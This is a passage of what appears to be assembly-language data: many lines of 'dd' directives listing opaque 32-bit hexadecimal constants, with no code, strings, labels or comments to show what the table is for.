0BC1EF5A1h dd 1F815F73h, 414F6C0Ah, 5E07BD72h, 830923A0h, 0A598BD6Eh dd 5FB44787h, 0E1C0E7D5h, 0F4BA18C7h, 0A57340D5h, 0F8ACD036h dd 0D096B66Bh, 0AA93BAD1h, 0E607E3ADh, 0FB1776D8h, 0CBDA8D1Dh dd 0A780BF40h, 0FA293B9Ch, 7815D227h, 8FB925FCh, 4AD13353h dd 0AD804AC8h, 9E07FAA4h, 0AAC8960Fh, 0B8EB97BAh, 1DEC74B2h dd 74C2F46Ah, 3F9FC5BAh, 885DFC3Ah, 0CE687EB1h, 7D91710Eh dd 699D4FF3h, 1F6B2A93h, 5F9BDBAFh, 0A754D904h, 0AE80D786h dd 0EC2F8DA5h, 0F065ADA8h, 0DBFEF781h, 7B573B2h, 0D3D117EEh dd 27705F1Ah, 0F081BA81h, 6B0CFEC4h, 4D0C27CFh, 16074E46h dd 19A5C52h, 0A52E3DBFh, 0DC56C460h, 0E657805h, 0D005DA4Dh dd 0D7D22F6Eh, 33CF64F1h, 8378EC75h, 119DBF1Ah, 0BF92783h dd 15D0F573h, 0B86D0619h, 0C0E0538Dh, 531314EEh, 0A69A9245h dd 9555312Ah, 0FDD87177h, 0FA551FD3h, 7DD0CCCCh, 7E337A95h dd 27A36D0Fh, 0D14FEA42h, 0CA7C17BDh, 27D3964Eh, 5873348Ah dd 963DB6B1h, 0B61E03C2h, 72F1877Fh, 66D6C544h, 5B9C88F7h dd 4343813Eh, 0F4CC9E75h, 51015FBAh, 0C578F4CAh, 1F9E590Fh dd 1383742Fh, 9CA5292Fh, 8213460Ah, 93ADA54Ch, 0D7CA42C4h dd 0F7522F8Ch, 8D97571Ah, 0F3AE4442h, 0ABA8BEFDh, 0F6A30031h dd 8B21C214h, 304A4E74h, 3E789175h, 0AC6FF5B8h, 8AF129Ch dd 0DFC16F8Bh, 1CE6F74Fh, 0C72BF741h, 8BEBAC0Eh, 0EAEE3555h dd 75B3838Eh, 2B6B9C5h, 0B32C1AECh, 8701BC12h, 20441255h dd 0E50FF325h, 556EFF6Bh, 2E8BA6C6h, 4DCBB8Eh, 62649311h dd 0ED7B03Ch, 0D14AEE35h, 0DA744845h, 0ACBD97C7h, 400CEE5Dh dd 0C9E126A6h, 5FEBD27Ch, 3B3DC7DFh, 4296DF7Eh, 0F19C7988h dd 4DCDA343h, 4A645FCBh, 7D1F046Fh, 0B3973F3h, 86B4F28Ah dd 2BFEC93h, 95662288h, 3944E942h, 0FBF16E7Ch, 0AC639A54h dd 0F6ACE1D4h, 8773C574h, 8DA2EF3Bh, 58D1369Bh, 8C0FD987h dd 0C6C2B95Ah, 0D7A1860Fh, 0C3B16A85h, 0A59DEE14h, 0D96BF57Ah dd 0D03A4B16h, 27DA57Fh, 8593AFA8h, 6355AAD2h, 30E0F85h dd 73A3DEB8h, 50BF6B4Ah, 3C8AB5C8h, 2F235B82h, 23FC1915h dd 72503600h, 67A219DEh, 0E3E9B45Fh, 0C2CDD5FEh, 0DB3BEBEEh dd 0BF7B898Ah, 0C8ABA090h, 7CA35F6Ch, 7D326354h, 0C28ECD70h dd 9F5AB859h, 0CF7DB93Ah, 0A1639F4h, 0D315BAB4h, 0FA309E05h dd 2EAF0B8Ah, 0C67F1FEFh, 911ED5BDh, 23216240h, 0A4A88BF5h dd 2E0A1B8Ah, 0F1C48069h, 1DC0B160h, 4EADEB46h, 549221F5h dd 24051408h, 0D255FCAAh, 9A22D2DAh, 0A234854h, 0C28C6E66h dd 0BCBD0EC5h, 7872A992h, 72B6F34Ch, 0AF8237F3h, 1F0A491Dh dd 152902Ch, 0B4D308A5h dd 0ED5554C4h, 0B9CD7D83h, 61896C65h, 0FA19D4CAh, 4EBA8642h dd 9363D50Dh, 0BF90E9C9h, 62959808h, 6FF10800h, 0A1856C04h dd 29C52EF3h, 0F51FC844h, 0D17EC0FCh, 0DCC9AAA4h, 7754D734h dd 80D61A35h, 0C8998D9Ah, 0BB93B71Dh, 0CF5EC74Fh, 58803CC1h dd 42AB953Dh, 455B5DEAh, 5EE4353Bh, 9838CA4Fh, 0B6693DA5h dd 49715953h, 85AB4EF9h, 195AC00h, 0F3C4F02Fh, 4CE89FADh dd 1DAB5FDDh, 5024BDB4h, 7234E7A7h, 0CF81A5B4h, 4E0F5FB4h dd 3EC78A01h, 8D48A239h, 4D43F1D7h, 49E42F63h, 8796549Eh dd 77527D1Bh, 0F56D6B63h, 91A84691h, 1F8A4549h, 0D3245A2Eh dd 0F32A6439h, 9CEEF53h, 0BA76351Eh, 8AA2AA4Ah, 0A9F5D5FAh dd 721319AFh, 998355E0h, 0C2C3E85Ch, 9BBB75Bh, 35CDCCDEh dd 0C398E852h, 3163CF91h, 0FA30EBCCh, 37CA869Ch, 2FF73CFFh dd 0C6ACB0Ah, 0E1FDFED2h, 0BDFACBF1h, 0BCBDB9DCh, 5FABC1A0h dd 0A64BD45Fh, 0AD747E67h, 0B64C3627h, 1DC72FB4h, 1CAB2990h dd 7E3E6B2Dh, 54E7DFF7h, 1C4E9E8Fh, 0A669C980h, 0B18A45B2h dd 4A82A24Ah, 9E4D35F9h, 14EA2E04h, 6EDD0C1Fh, 0BF744A20h dd 6CBD6731h, 1126CCF6h, 0D98BB71Fh, 9A8107BAh, 0EBA0A89Ah dd 0AEF7D8ABh, 55B9F1Bh, 5C5C2D3Fh, 0EEB77C21h, 7D09CC5Fh dd 4067C378h, 93944083h, 0E4A1394Eh, 54D626F4h, 0D75768C1h dd 0F76ACA4Dh, 9A7503E3h, 524BFA4Fh, 23424372h, 434AC854h dd 300A5E69h, 0A2355C99h, 0C3F0EEF2h, 0A2E6D3ADh, 881773E9h dd 0F5ED2A2Bh, 44BBF3ECh, 0FBED6C6Ch, 0B9D7B709h, 0F3D47575h dd 0F10F8968h, 1F1FD6BAh, 0FD0C0C5h, 42936F9Ch, 960546BBh dd 35EA11ACh, 2BDDEDD6h, 0FA853BC0h, 532745EAh, 0DB41FD50h dd 0D9EE1E88h, 0BFCA0567h, 0D6637C84h, 8DD3C7Ah, 83C30BD1h dd 591E04FFh, 0A0C38AADh, 2AD95800h, 0C4F32794h, 41239561h dd 0AA7F2978h, 68168F99h, 33951EFFh, 0E378B5B8h, 33DACF87h dd 158B4F5h, 0EFD0C1B2h, 0E57CE64Bh, 0C85199F7h, 0BC4C19DFh dd 0FB9E7F16h, 0DC6F05E6h, 250FBB63h, 1BD122CFh, 68DAC6FDh dd 7D92B973h, 9E288FA3h, 381A04CAh, 0A5B8057Bh, 4AFDD5A3h dd 64925639h, 3C02EF17h, 28EE4226h, 0D4DD8F8h, 44F29106h dd 972DC16Bh, 0FC33C054h, 31D8D52Ah, 0C14516EBh, 65F6DDF2h dd 11171BEAh, 21F84CBEh, 2161D3F1h, 59DA990Fh, 4210A6CFh dd 2785D8E3h, 5D1F0849h, 0DF6EA79Bh, 9FD3398Ch, 0E0F041CFh dd 3EB08D95h, 0E281A3B3h, 368D2ED8h, 3A9F1132h, 7B4E2CEFh dd 7393899Dh, 0F339B06Fh, 4562BEC8h, 43174365h, 77D659A6h dd 0D7EC05A4h, 0DF5FCB6Ch, 50EC74BFh, 13B275AAh, 0EDFE223Ah dd 7538C514h, 0C121C6B9h, 0D0B77E0Bh, 0BCE30B87h, 0D66E2D11h dd 70795C36h, 0BDA3A861h, 0E618112Ah, 0F57B37Eh, 0A5DB15D8h dd 0B7E5EFC3h, 0AAB66FABh, 0E657BAE0h, 2893C9C9h, 92FED4D5h dd 3F418A41h, 0E7FEFC06h, 9E9C642Fh, 0E389F0AFh, 9597A462h dd 0F475E9F7h, 4D325BBBh, 0AB5BB0C7h, 0F8D076FCh, 0CAF50FFDh dd 81F026A0h, 59DC0339h, 2542747Bh, 0E9A8729Ah, 2CF1DBFAh dd 0EDD44076h, 9900DA52h, 5ABE8B3Ch, 5B5B388Dh, 0A418BEDCh dd 346FB5BFh, 0BC98728Fh, 64BBF603h, 0E60C824h, 0B276C8DCh dd 4BF558F4h, 0F4E488ADh, 74BB61C0h, 0B4CA56BDh, 0D06DEFC7h dd 54203AB2h, 0F44F896Eh, 0DB922639h, 783EF7B9h, 6727B2F1h dd 78358CFCh, 822CBB7Bh, 1095E583h, 0AB3DA18h, 0F519BCC2h dd 242BBA70h, 77D8A8BDh, 148D79F7h, 4EE9E5C8h, 0BAA06DBAh dd 0A569296Ah, 5A0CEBB3h, 142B2677h, 0D9388B59h, 0C58D52CCh dd 5593B91Eh, 0F7FCA0D3h, 1D2287E0h, 41EB857Bh, 0B493B570h dd 2C3A751Bh, 0AA9500E1h, 70DFF6DDh, 3DE15666h, 3B7912F1h dd 18AFF9EEh, 0B07532FCh, 0FF1B3D53h, 0D1C893F0h, 89ADCDBBh dd 0B6A9F3AAh, 76C20C1h, 0A64A1A76h, 0E0F8455h, 53DF6E95h dd 0A6CA1636h, 0C1AB0D71h, 5B562F9h, 8B5D595Ah, 26687C44h dd 285250D2h, 4CA237EFh, 5E28F52Fh, 11A5F323h, 0ADF5CF54h dd 0C2D171A9h, 29926C5Fh, 5E0471ADh, 0B799DC09h, 817BB593h dd 0BB8D0BDh, 23B1DFADh, 1FEA5DD3h, 2E93BF86h, 0BD9E04B2h dd 2BC1C749h, 5DA7E0ACh, 0D3317673h, 6A3599E2h, 2C7EF1F4h dd 133A9458h, 2E1545ADh, 0C734CE6h, 0AA203B57h, 59DB0782h dd 0EF045A7Ah, 46E73019h, 0AB88D58h, 0A7D8EB77h, 5BEC70CAh dd 9543FE5Bh, 0C559560h, 0BC5317C7h, 0D4F19D19h, 849C1087h dd 0C36115C8h, 0D1AB46C0h, 22296C42h, 652338E2h, 7F699E0Dh dd 91A21A3Bh, 0B28BC607h, 0D57FA62h, 5FE11198h, 0F7AF1202h dd 70765DE7h, 504DCD4Dh, 0A7F8D9C7h, 0D0EABDBh, 68F060A8h dd 0BFA1D607h, 0FDB8567Ch, 1F53B1FDh, 5173EE5h, 92EEB0ACh dd 0A7A5C4DBh, 0E033C780h, 347D0587h, 0D14A3E60h, 0E50019D2h dd 0BDF0F2FEh, 7211D323h, 6BF3D78Ah, 95A244DCh, 5F961A7Ch dd 6F8C5F71h, 66545B28h, 0F08E5AF5h, 0A149DF2Fh, 0D9AC9445h dd 0F517F9Eh, 97346A62h, 9F456966h, 91F21F7h, 74987F56h dd 0E505340Dh, 0A949B8DBh, 0B18F19BEh, 3469344Dh, 5264EE29h dd 0AE552F94h, 932B60BDh, 62F963C4h, 68BBA443h, 16D5E123h dd 0EEEF68E1h, 0ABFFC946h, 0BDDAF03Eh, 7EECBBB2h, 0F784408Dh dd 926514DEh, 7FAC1461h, 83FFEA14h, 9B695940h, 35B3F446h dd 7C8154B3h, 2D19002Eh, 0E811164Eh, 46BF08D2h, 0A6CE40EDh dd 0E02876DAh, 0A33EB1D1h, 42D13451h, 71764B25h, 5F07223h dd 583843BFh, 99CD2624h, 1305FF61h, 0E1320703h, 3444F82Bh dd 9A95536Eh, 20E7E230h, 0DD69A23Bh, 6BFA3E4Ch, 0AD550DA9h dd 0A5657DCBh, 0A8C2AA0Ah, 0A3BFED53h, 9B55D527h, 2C7D618Bh dd 0EFA23EEDh, 5BDBA24Ah, 1E6C8A4Fh, 0BE0F7697h, 81FBB35Ch dd 5C4C1A35h, 364A5C61h, 0B597117Fh, 63D33108h, 0A2ECE34Fh dd 7FA9C55Bh, 3C7D771h, 713C5F3Bh, 0BB838FF8h, 0B7115E8Fh dd 4C2CC28Ch, 589B25CAh, 0AAD1A5FEh, 93DAD723h, 519F92Ch dd 0C1542EF8h, 0EDF5A6Bh, 39658D3Dh, 4CD4D687h, 0EC565CD0h dd 60F35F13h, 0A9B842BDh, 867F519Eh, 0F1397400h, 9CB214C1h dd 181D8133h, 26FA546Dh, 3D80D8Ah, 7F491897h, 9B3F5999h dd 0D244BCF4h, 0B8AF73Ah, 1B81216Eh, 6BB5A6C9h, 39CF0EBh dd 0BD81E953h, 7B645706h, 0CE6FE756h, 9764EAA5h, 0D8CE66D0h dd 110DBBF7h, 0B72DA2Ah, 1C66C644h, 5123AAADh, 0F0F2DA4h dd 9A57F3BCh, 765B2715h, 0AF8643C0h, 0C8F76931h, 15ED7E7h dd 0A78BD5A5h, 4F0B4596h, 0BB65EE82h, 0BE6DCCE5h, 3971BCB8h dd 0B520A20Dh, 0BF2E4937h, 61FD1ADh, 95FD362Ch, 47194326h dd 29AA05C2h, 7BDD46E9h, 47A47636h, 84570434h, 2B44AB6h dd 9B984EEh, 52400A98h, 873D1C60h, 55E4E0A8h, 115F7AC0h dd 0D556EA37h, 0CB9FEDD2h, 4E1A5538h, 31F6692Bh, 0E4DB48B3h dd 79732519h, 0E8128227h, 0E140E1E2h, 0FC2D4746h, 0A697BE6h dd 6CC7576Ch, 42EF9C04h, 0D15D69FEh, 0B0C59F46h, 0F432FE28h dd 4A68AAAh, 896D7389h, 0F0A453C2h, 363892A9h, 492EFB4Ch dd 70FDFEB1h, 96E96019h, 0DB895049h, 0F3F01FCDh, 0D2A72368h dd 0DDB8ACA0h, 0E532440Bh, 80B387E1h, 0E35D6740h, 75EAB27Dh dd 32903F62h, 0B422FABEh, 0DBF54470h, 831FAB68h, 0DB44072Eh dd 0A97C37BDh, 0D179E80Bh, 1A6A536Eh, 5AB05AEDh, 26071D0Dh dd 0E47BFE16h, 0EAB3E3F9h dd 0F5815741h, 0E70901C5h, 3C98778Ch, 0A866D2EDh, 0D3DF9DEEh dd 0E58679B5h, 0D1C2BAC8h, 7FBCA50Dh, 0F974FF46h, 0B4E5CD3Eh dd 0EA7D7BA9h, 0E59353E4h, 86D3FD9Eh, 6E910E2Ch, 0DE0B562Eh dd 0A4A2A7F1h, 0AEFFFF4h, 10797B61h, 44BED76Dh, 0A5F25523h dd 35D64887h, 0D9AFBAD9h, 3ED8E040h, 0AF87D5B8h, 620BB46Fh dd 5E9E5767h, 0DD586982h, 55ECBB0h, 6B53E99h, 483F4382h dd 63061104h, 0E8C25651h, 12BA6DAFh, 252CE47Ah, 5670539Ah dd 0B6BC0AFCh, 25312AB5h, 8552239Fh, 5330EE59h, 7D26F284h dd 53A53C8Fh, 43A687EBh, 9E770312h, 0C317F655h, 9CAD6ABDh dd 0B90E0F5Eh, 0EED9CEF2h, 6009C0F2h, 958AE9AEh, 0C1B60124h dd 30B2A27Fh, 0FF7DB7FEh, 98C830F9h, 9405BBD8h, 0D17B0EECh dd 526E4B9Dh, 0FB636509h, 0B8D00AA3h, 0FF093024h, 0FF8F6916h dd 4029F454h, 3A6DFE68h, 5B37FBFDh, 538345C0h, 0F501BD62h dd 0B7649C31h, 81F4D292h, 0F1BDE225h, 654864ACh, 0D12393A4h dd 0B3A7C3D0h, 204AAA42h, 8AAA2A6Ah, 17E32892h, 0DC7097CDh dd 6C0FA5FDh, 5EA379D1h, 0EB41E6DFh, 2B25E52h, 0E7EE1ADBh dd 0C759A568h, 5F16B29Ah, 989EE285h, 0BD0B6A3Ch, 0F31A270Ah dd 0DDEB9AABh, 5D157FAAh, 0FA4152F6h, 0E53AEFCCh, 0BFD4317Ah dd 51007727h, 0FB09AE5Fh, 0B3C82EAFh, 62DEE2E0h, 36BBC2BDh dd 29CC790Ah, 0D49292D0h, 76DCA280h, 0D537F289h, 0BD0C2256h dd 0ED7208D4h, 7405CAA6h, 0A559D882h, 68A9F641h, 1E55B7D2h dd 98261578h, 8FD9C868h, 0BA7AD42Ch, 89D0E826h, 0D82CE0Fh dd 21F63D12h, 0F5A923F9h, 5C61587Bh, 11909C55h, 0DCAD84A3h dd 0C0F01B7Fh, 5E2459BEh, 7989AE3Ch, 587ED1FEh, 37D16F2Eh dd 1C60827h, 0B868EFBh, 0FBF42E99h, 184F04CEh, 12E98821h dd 50D3B8ABh, 3A46795h, 434E238Eh, 0D7A7C2E9h, 58FBB9C6h dd 13811B6Bh, 0E850503Eh, 0A002949Fh, 0C793694Ah, 0D43F381Bh dd 754DECD0h, 89C928A9h, 0E878F956h, 2D1E4EB6h, 0B3693D1Bh dd 0CAAED2DAh, 9E7AADA4h, 23568B04h, 0AE911EDBh, 21E4079Eh dd 383C4EE2h, 0A09EC552h, 0FB1E0865h, 0C7D4472h, 0F3F8565h dd 0AAB9BA8Eh, 0D0BC1353h, 0B2FCD743h, 92D1C911h, 5DFF7BAh dd 0C1249BE8h, 526D8E3Fh, 0ED9EB200h, 0D887A6A9h, 0C5426060h dd 0F4FBE36Bh, 6260B142h, 768B28B2h, 55C63593h, 0D797C7F3h dd 0D08C681Bh, 0CEE0F051h, 89D453E7h, 1994D95h, 6F6313Dh dd 0DF6BCE7Eh, 6059A368h, 6A1A7C13h, 1F7ED5AFh, 0A62BEA42h dd 44FBBE1Fh, 0A7C91A4Ch, 0BE71B498h, 582613E6h, 84F122EEh dd 6A2A07DFh, 87E1D81Dh, 0E7F1310Bh, 1A55F355h, 0F0F76587h dd 4C41E2C0h, 6BEC507Ch, 9552FC10h, 1453F818h, 6092D5B0h dd 0BA126AECh, 0A377EDEEh, 0D2F60DD7h, 90DCCE97h, 0B178AB31h dd 0C0920FABh, 0CDC4C1D3h, 0BE663AABh, 4E80A0EDh, 0EEF45D2Bh dd 51493A9Dh, 5101E646h, 557399D7h, 6C83A2D6h, 168B1A25h dd 379DFDFAh, 5A5E844Bh, 0E0505596h, 0E31FE4EDh, 35A0A2C3h dd 6A228320h, 0F77371C3h, 4D27BE95h, 219974BBh, 0FB9075Bh dd 5E4FF59Dh, 2ED3D2DEh, 0DF8BBE0Eh, 7D699DCFh, 0D58426BFh dd 0B6FE05Bh, 0CC0644FFh, 6CF7D297h, 6505D84h, 0ECC0AB13h dd 0F868AEE6h, 6A92C7CFh, 0F80ECD6h, 0CCA8A93Ah, 89E1639Dh dd 6611AE68h, 0BA642F0Ah, 988DBABCh, 0BC240618h, 0BE808176h dd 5F26FC3Fh, 0D4771D71h, 554E942Ah, 0ED971693h, 580BC0FAh dd 0FAB55C3Eh, 0E69F7A35h, 7366A217h, 54BF1BEBh, 0FB5AD4DAh dd 0B5162F81h, 88F4B396h, 0AE700FF7h, 0FD07D451h, 0D30BBAABh dd 198B3F33h, 15A492CDh, 8FA8E534h, 0BFD479A2h, 42FD661Dh dd 531CFE32h, 99F0995h, 946AF74Dh, 6C9B43F1h, 84F71ABDh dd 8921FEBh, 1F7EE2ECh, 0DFD068CAh, 0EF30442h, 330C92A5h dd 578187AEh, 78BA96CBh, 58EEEC72h, 0A7128D68h, 0BEA46C8Ah dd 1AE200ACh, 89820D3Fh, 0E9498489h, 0D484C116h, 0E1D0FD8Dh dd 9592EFCFh, 7AA576CFh, 0DAD0C215h, 328EB9FAh, 678A2CF4h dd 0A1F02D3h, 4595E95Fh, 0F7E28E9Eh, 0AA80EE43h, 6903917Dh dd 0B2BBE3B3h, 0AB8309BEh, 0BDF945B5h, 5BACE185h, 0E28B39EBh dd 5AC1C8D9h, 0FCE50FE4h, 83F30FC5h, 7521A448h, 75E7ECCAh dd 8A2B1030h, 0F1B46D45h, 741D0CC0h, 0A9789249h, 0CEA5DB6Dh dd 0A9FCCABAh, 7347A0BBh, 0F285DE3Dh, 0E955DB2Bh, 2E8567AEh dd 2631E106h, 99475417h, 0A0DADBAEh, 0F22F63F5h, 7584E4CBh dd 5B8C5479h, 0BD7F1224h, 8981DBEDh, 27BB2CEBh, 0FAE7D80Ah dd 0ACBE5B81h, 0E880ABB3h, 92A7268Bh, 44EFFCBFh, 7119280Bh dd 6F019A29h, 0AE4072BFh, 0C96FF954h, 0E6396921h, 5BD7D7F6h dd 7763D7BBh, 0C579CCB4h, 0D15B194Bh, 83C649C0h, 99CDDDB7h dd 0A0D20902h, 0EBE7872Ah, 0EE9A8DFEh, 0E227CFF4h, 0BF8CDF57h dd 0B190C399h, 6EFD728h, 35E56A6h, 0F68BF7C3h, 0CA14B623h dd 0B1305F8Dh, 0C4AC96CAh, 0CF10E89Fh, 1836A783h, 143F02B9h dd 3F1252DAh, 636FAD84h, 0F8A563ECh, 0C04A97E2h, 323E13DDh dd 0A1E8ECF5h, 1219A81h, 58CEA355h, 0AA4B3FE1h, 2DA340F9h dd 11395EFCh, 1F8FD9EAh, 6F8D8DCAh, 0BB9DA9BBh, 0C8870266h dd 96B9EB5Ah, 0E15AB3F9h, 8B8BA5AAh, 13582433h, 0CEC2BC5Fh dd 8FA5EC3Bh, 0CA2763BCh, 318F3B3Eh, 0C28BAD1Ah, 0D80AC3CAh dd 0B9F89CBAh, 0FF970365h, 82CC91B7h, 0D6140DCAh, 0FF7CC7ADh dd 56F6BB70h, 3D46C808h, 2BABB2CFh, 0F054E5C0h, 0F6FBAB43h dd 6DF3FEB3h, 6BC28E7h, 0B2898B01h, 0BE82082Eh, 39DFF48Eh dd 84E06823h, 75DC440Fh, 7E5CCBBh, 0E6DCF896h, 0F9C6DECAh dd 0F8EF9BB1h, 227BC739h, 0FF0F1C84h, 54FD72D6h, 0BF0E7CFDh dd 0BF3CAE58h, 4BBB8185h, 0B7833590h, 8C4AB282h, 37F878E2h dd 824BD1D1h, 0F8C999D6h, 4EC0F981h, 30FE2931h, 0A618967Ah dd 0DAE2AC45h, 4556385Ah, 3D9F84C6h, 0FB70F730h, 7E0B5587h dd 14DC585Ah, 0A37D6BC6h, 42D41700h, 57C46894h, 9E14D26Fh dd 0C9145F24h, 725B48BDh, 6292C5BEh, 899F8B33h, 0B4987F1h dd 0CF3CE3A3h, 3B50963Eh, 3B804A17h, 0BE3E6CD1h, 0F4082D27h dd 0C5778AD9h, 0DCAE88BEh, 2ECF229Ah, 0F5A99DC6h, 0FDF1575Ch dd 73255A28h, 0FD950366h, 0CB89039Bh, 4A9DE6AFh, 0B721A1DCh dd 13829FD2h, 0E42D0BDEh, 0E44DF50Bh, 0A0DF905Ch, 0E1395BC1h dd 0C5637570h, 0E5B8D15Dh, 6B476310h, 0AA3DF095h, 5A35C6BAh dd 0E431C4B1h, 0D4E214CDh, 6F061947h, 5816D1Fh, 8BBC7FA8h dd 0B455C316h, 0FDE24E0Fh, 0F341E7B4h, 551F0B4Dh, 0BD607BCAh dd 0B0D908ADh, 6A6CDBBDh, 1FBCC271h, 37679D69h, 56C33178h dd 9E4B5388h, 0FF7A2F10h, 12CF649Bh, 8C98B67Fh, 9138755Dh dd 0B6792B1h, 2935F56Dh, 89946F2Bh, 0DA69DEE9h, 6DBD2B2Ch dd 0B919CAEFh, 0A744649Eh, 3E140805h, 227F2F98h, 0EE425043h dd 4EF6813Eh, 0D37B1E5Ch, 80C489A7h, 6521A8E0h, 5211D0E1h dd 6FB36F3Ch, 9620E5C0h, 37EB963Ah, 9CD3C77h, 491D451Fh dd 47A28301h, 0F72AAB5Eh, 11311C9Dh, 0A2C0B2A6h, 0DE2EBD61h dd 3BEFA335h, 0B82C0E58h, 4B1BB20Ah, 4E3108CDh, 6B0F5955h dd 0FE2BAE13h, 697A3990h, 6079D0CDh, 4E47EEA8h, 0F13EB049h dd 0DAFA11C1h, 612B9496h, 0AC1693B0h, 78296810h, 0B5A8D8BCh dd 4468A46Dh, 7480CAA1h, 0FA5B404Dh, 0F80AA77Ch, 5FB25D4Ch dd 236FFF1Ch, 5901D757h dd 245244B1h, 0ADD2456h, 6022F75Bh, 7C34D605h, 268028ABh dd 0DB5D8D5Ah, 0B3BCBB2Ah, 554E32D6h, 7AAD5B69h, 781BDB49h dd 0B12B43F0h, 4E67B34Ah, 0AC1781AEh, 29361192h, 0AE03E0C7h dd 0A3618C3Ah, 0C1EE36E0h, 0F6AE5909h, 10FDF840h, 0CAA2B06h dd 0FC02BD02h, 0E320DE09h, 1DCA98A3h, 0CF5BA5B1h, 0E4F461Dh dd 0E115AB77h, 2B3807F3h, 0A4EBE717h, 5E3DF5EEh, 5F911E96h dd 50B9D604h, 9BFE17D5h, 666B8061h, 87E3F415h, 0A80A2935h dd 0E4EBAAD0h, 4B66AB1Eh, 0B7CAE2B1h, 5ECC6818h, 152FB4FBh dd 4D0DFCADh, 0C217A3C9h, 0E673C3AAh, 82D62F26h, 0BEA99658h dd 0BD0A6938h, 0ED57728Eh, 0B467D12Ch, 4D524B50h, 379FA7BBh dd 3052B6CDh, 0BD7C7079h, 90E09EB8h, 0C7480C76h, 0FDD8C480h dd 0ED7A249h, 1E845F78h, 84FE2A38h, 0EF8DE393h, 0FA9503D5h dd 4B6399E0h, 3313E2EAh, 484B5546h, 1BFCD7CEh, 59FDF1E7h dd 170E3751h, 1ADC946Dh, 0D2CA1B5Dh, 161A47F2h, 3CF63371h dd 37757C97h, 0F2755D0Ch, 0D7CCADCAh, 884E91Ch, 7D54EC0Bh dd 0D6A9EE37h, 3E19B66Eh, 50915365h, 5F278B4Fh, 6A67F45h dd 77B389C4h, 0FD54AB3h, 779A0267h, 0CDE08EA8h, 0CF474124h dd 4B05622h, 9040A703h, 0DBE8394Ch, 83C5513Ch, 0DF6CDFBFh dd 0EB9E87FDh, 20050BB8h, 484C77F3h, 4053303Bh, 28DE46Eh dd 1D93CB91h, 212F8BF2h, 3E3E812h, 0C8F9BCD7h, 0E4B1FF49h dd 0E4BF8BFAh, 0EA9458F5h, 0C745EF53h, 0D3EBDFC2h, 0C053D168h dd 5DCFC7C2h, 8C72D64h, 786C3B73h, 0E6C1F195h, 0A6BA5162h dd 79984237h, 0B62858DBh, 5C120AF1h, 0A2E2C82h, 488CA1C9h dd 0E7EE314h, 419E7D82h, 27C6A10Fh, 0C0E8DC2Bh, 9D1BBA8Dh dd 37DD7E1Fh, 0BE3F31E2h, 0AF7B0DDCh, 0B54E03F2h, 8766759Ah dd 0AA03F0D2h, 0C3367FDDh, 0B278C817h, 0FDF75C6Bh, 0EBF44F62h dd 61CE6C3Ah, 79BC6A67h, 4E34B60Ah, 3D000515h, 0A8E2F6D8h dd 48802B77h, 0B858E992h, 0FFF31EC0h, 35891F35h, 399958EFh dd 398D7923h, 0F70B2AB4h, 46A982C6h, 8F0C5B77h, 0F0545A15h dd 0DF37F4C6h, 16B31B1h, 0A568F55Ch, 7BE79D9Ah, 0C52CD340h dd 741001B3h, 0A5576A93h, 70D39D3Eh, 0D1B43EABh, 0EEA07075h dd 0EFD4DA6Ah, 0E1AD5307h, 0D6F17Dh, 0AC2BDBE1h, 4EEFBF70h dd 0C14BB298h, 0DFBCD3DAh, 0E128F866h, 5A3F2F88h, 17D2F81Eh dd 1B299435h, 3A7D7FF3h, 7E2B8CA8h, 5F6CD208h, 0F5E053A5h dd 5EBD9EC2h, 99669D57h, 1059CFF2h, 0C28365D1h, 86D2E4B1h dd 0C2BAB224h, 0BBAD298Ch, 0EABC90F6h, 0C712037Eh, 0B255FE6Dh dd 0DEDD679Eh, 0ABC3ED17h, 51142E78h, 0ED4F4617h, 3FD4B182h dd 0DD8E2168h, 7438DB52h, 67256E6Dh, 0DAC92388h, 839F1899h dd 0F1F5B97Dh, 8AE4E5D8h, 0AD44A9B8h, 0B48F684Ah, 0B3499B0Fh dd 748ADC03h, 0D78003CDh, 310FF805h, 0BD63622Dh, 0BB0D889Ah dd 6E7F5409h, 11064BE9h, 0DDE8202Ah, 0A0E1093Eh, 0DF697A08h dd 0EB7F03C5h, 0C0A1EFB0h, 88E9B3CEh, 54D77F0Bh, 153FA8AFh dd 0BD11D009h, 3F072E2Ah, 0AE3301A4h, 358AA785h, 0B4579C3Fh dd 8D9BC75Fh, 989C26B4h, 685DE0C9h, 0C9E4E162h, 28386AD6h dd 8C580F8Ah, 0AECC7B03h, 0DE2FD094h, 8FB69628h, 0ADAAF6ABh dd 6D496E21h, 0E5FE2D7Eh, 6789FC22h, 21577CBCh, 0B7DBCE3Bh dd 202972A9h, 5A7A7E19h, 0D8E51A92h, 69C08830h, 8D4C2ECEh dd 1B4B3B4Ch, 0A49DD794h, 754C2B6Ch, 8F237196h, 790FE607h dd 0DB0EA5E6h, 9935124h, 0A03E9CA3h, 30D9546Fh, 0CDE7A36Fh dd 0D8C4EF7Ah, 0C0D3DBD3h, 0A9526FE1h, 0B993A982h, 5CF67DFh dd 0EBE3D7A0h, 11FB7F75h, 276AA067h, 0D7BC5CCCh, 4627E07Dh dd 17DF2C12h, 0DD1D10F9h, 0A2398445h, 0CEA45BB3h, 0EC62D6C5h dd 85C6AF7h, 5915CBE8h, 97FAFDA3h, 0F2F6AFC5h, 787B0D95h dd 7E44F857h, 9C8D1E71h, 4AD53ACDh, 0ADDF3915h, 1E52146Dh dd 278D17D8h, 534D2641h, 0F63D3201h, 0D42ECE71h, 0F451C9Dh dd 0A87426BBh, 30554739h, 5198C031h, 0D49343E6h, 99687569h dd 0D62E295Ch, 3D72F00Ah, 0E82B381Fh, 0AA95EDC5h, 0EDACB06Ch dd 0F916C91Eh, 0E4DCE77h, 0C0EB4599h, 46509ADBh, 0B0AFA9F4h dd 3FC0AC51h, 0ABFB94D7h, 823373A5h, 2DCC5CF3h, 0B8F2FCAAh dd 0EDB6D98Ch, 0D14FDA68h, 80735B1Eh, 7F05F7C7h, 41E105BFh dd 6906DBC3h, 0E4F0CE9Dh, 0EBA6FF62h, 0FF23FC06h, 54F1DA72h dd 0F7922398h, 0C401C5EBh, 0CB0375E8h, 56715B15h, 3CEEDD9Bh dd 8F1FD42Ch, 911856F8h, 303FAC0Bh, 2B42DCh, 565A57F5h dd 0EEEDF28Dh, 6F46E53Ah, 952DA891h, 18ED25FAh, 0F8FB446Dh dd 0CDA1FCEh, 0DF87528Fh, 0F2D76C97h, 94C67D84h, 0E89AB02Eh dd 4B12D1E6h, 0E4CAB62Ch, 7DB4F1D4h, 6888679Fh, 3B6AD31Dh dd 0E6613AE3h, 8D32756Dh, 0A8CF2D7Dh, 0A85084A4h, 9A92AEF6h dd 0ABB7DC3Ah, 0CE62E778h, 